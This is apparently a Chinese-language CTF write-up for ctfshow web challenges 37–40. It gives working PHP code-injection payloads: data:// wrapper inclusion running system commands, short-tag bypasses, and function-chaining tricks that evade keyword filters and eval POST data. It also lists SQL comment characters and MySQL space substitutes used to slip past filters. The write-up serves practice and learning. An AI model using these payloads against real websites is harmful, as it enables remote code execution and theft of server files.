chtshow web入门37~40

  • 1230 字
  1. 1. web 37
  2. 2. web38
  3. 3. web39
  4. 4. web40
  5. 5. 常用的注释符
  6. 6. MySQL中可以代替空格的字符

web 37

img
考察data伪协议,data伪协议需满足allow_url_fopen,allow_url_include同时开启才能使用。
payload:

1
/?c=data://text/plain,<?php system("cat fl*");?>

web38

img
php被过滤了,可以用短标签绕过php。
短标签:比更灵活调用的方法
paylaod:

1
2
?c=data://text/plain,<?=`cat fla*`;?>
/?c=data://text/plain,<?=system("cat fl*");?>

web39

include中多了个.php,但是上一题的payload也管用,看别人的wp说是有?>结尾进行闭合,所以没有影响。
payload:

1
/?c=data://text/plain,<?php system("cat fla*")?>

web40

img
这个过滤了不少东西,但是没有过滤英文字母、下划线和英文的括号。
可以用提示的方法

1
2
3
4
5
6
7
show_source(next(array_reverse(scandir(pos(localeconv())))));
show_source()函数对文件进行语法高亮显示
next() 函数将内部指针指向数组中的下一个元素,并输出
array_reverse() 函数以相反的元素顺序返回数组
scandir() 函数返回指定目录中的文件和目录的数组
pos() 函数返回数组中的当前元素的值
localeconv() 函数返回一包含本地数字及货币格式信息的数组

也可以换其他方法
首先

1
/?c=print_r(get_defined_vars());

获得一下信息
img
使用next获取这个数组的下一个位置的元素,也就是POST的元素.

1
/?c=print_r(next(get_defined_vars()));

img
然后把这个元素弹出,用array_pop

1
/?c=print_r(array_pop(next(get_defined_vars())));

img
最后再用eval执行一下就可以了

1
/?c=eval(array_pop(next(get_defined_vars())));

POST数据

1
1=system("cat flag.php");或1=echo`cat flag.php`;

关于echo、print、print_r的区别可以参考:https://blog.51cto.com/zlong37/1556855

常用的注释符

1
#、--、-- -、//、/**/、/*letmetest*/、;%00

MySQL中可以代替空格的字符

1
/**/、()、=、%20、%09、%0a、0x0a、0x0b、0x0c、0x0d、+、-、~、.等等
赞助喵
非常感谢您的喜欢!
赞助喵
分享这一刻
让朋友们也来瞅瞅!